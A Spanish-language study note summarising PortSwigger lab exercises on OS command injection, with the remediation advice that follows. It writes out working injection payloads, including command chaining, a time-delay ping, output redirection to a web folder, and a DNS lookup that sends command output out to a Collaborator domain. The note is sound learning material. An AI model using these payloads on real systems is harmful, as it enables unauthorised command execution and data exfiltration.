Skip to content

PortSwigger · OS Command Injection ​

Qué es ​

La aplicación pasa un dato mío a un comando del sistema (por ejemplo, para consultar el stock de un producto). Si no lo limpia, puedo encadenar mis propios comandos con separadores como ;, &&, ||, | o `cmd`.

Labs completados ​

#LabTipo
1OS command injection, simple caseIn-band
2Blind OS command injection with time delaysBlind (time-based)
3Blind OS command injection with output redirectionBlind (output redirection)
4Blind OS command injection with out-of-band interactionBlind (OAST)
5Blind OS command injection with out-of-band data exfiltrationBlind (OAST)

Lo que me llevo ​

  • In-band: en la petición de check stock añado ;whoami al parámetro y la salida aparece en la respuesta.
  • Time-based: cuando no veo la salida, meto ||ping -c 10 127.0.0.1|| en un campo (el email del formulario de feedback) y compruebo que la respuesta tarda ~10 s.
  • Output redirection: redirijo la salida a una carpeta que la web sirve (||whoami>/var/www/images/out.txt||) y luego la pido por la ruta de imágenes (?filename=out.txt).
  • Out-of-band: hago que el servidor resuelva un dominio mío de Burp Collaborator (||nslookup x.COLLABORATOR||); si llega la consulta DNS, hay ejecución. Para exfiltrar, meto la salida en el subdominio: ||nslookup `whoami`.COLLABORATOR||.

Cómo se arregla ​

  • No llamar a comandos del sistema con datos del usuario; usar las funciones del lenguaje (APIs) en su lugar.
  • Si no queda otra, lista blanca estricta de valores permitidos (por ejemplo, solo números).

Contenido propio con fines educativos. Sin flags ni material de exámenes.